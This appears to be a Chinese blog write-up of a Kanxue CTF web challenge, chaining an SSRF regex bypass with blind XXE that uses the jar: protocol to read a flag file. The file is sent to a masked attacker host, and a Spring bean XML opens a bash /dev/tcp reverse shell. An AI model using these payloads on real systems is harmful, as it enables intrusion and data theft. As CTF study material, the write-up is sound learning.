看雪CTF web(SSRF+XML+JAR协议)

题外

很久没写文章了,这儿再水一篇

正文

首先打开题目

在这里插入图片描述
直接有个提示,给了两个链接
根据测试第一个链接/getimage?url=https://bbs.pediy.com是远程加载图片的,而且对于url有一定的格式要求
在这里插入图片描述
那么我们怎么绕过这个正则呢?
这儿就需要用到一个技巧了,这儿是java环境,
httpclient3httpclient4这两个库都有容错机制,即假如端口后面存在其他字符会自动舍弃掉(/作为分隔符)

而且都会对host进行url二次解码,所以我们最终的payload为:

http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=http://xxx.xxx.xxx.xxx/HyyMbb.xml

最终解析为:

http://127.0.0.1:8088/loadConfig?url=http://xxx.xxx.xxx.xxx/HyyMbb.xml

这样就能加载出url了,而另外一个url,loadConfig?url=x.xml可以远程加载XML文件,但是必须要本地访问,结合上一个url就可以本地访问了

在这里插入图片描述
在这里插入图片描述
这样就能加载文件了,那么我们直接用xml读文件就可以了

说一下思路,由于不知道java的路径,所以可以先读/proc/self/maps得到拓展地址,很有几率得到java路径,然后使用jar协议读取jar文件里面的flag

最终的payload

e.xml

<!ENTITY % payl SYSTEM "jar:file:///home/vip-demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/classes/flag.txt">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'xxx://xxx.xxx.xxx.xxx:9997?%payl;'>">

HyyMbb.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://xxx.xxx.xxx.xxx/e.xml">
%int;
%all;
%send;
]>

然后远程加载这个就可以了
在这里插入图片描述

正解

其实上面的解题过程是非预期,只是运气好可以猜对路径,然后还读出了flag
正解应该是利用FileSystemXmlApplicationContext来远程加载恶意xml
在这里插入图片描述
看到FileSystemXmlApplicationContext是不是很熟悉,记得去年weblogic有个漏洞的绕过就是利用了这个函数,加载了远程的恶意xml配置文件,导致反射代码执行。因此可以构造如下远程XML:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="
    http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2323 0>&1]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

然后可以反弹shell了~~

参考链接
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFHub是一个CTF(Capture The Flag)比赛平台,提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF(Server-Side Request Forgery)相关的内容,包括伪协议读取文件、端口扫描、POST请求上传文件、FastCGI、Redis协议、URL Bypass、数字IP Bypass、302跳转Bypass和DNS重绑定 Bypass。引用\[2\]中提到了CGI和FastCGI协议的运行原理,并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以,CTFHub ssrf是指在CTFHub平台上与SSRF相关的内容和挑战。 #### 引用[.reference_title] - *1* [CTFHub—SSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树笔记之SSRF:内网访问、伪协议读取文件、端口扫描](https://blog.csdn.net/weixin_48799157/article/details/123886077)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值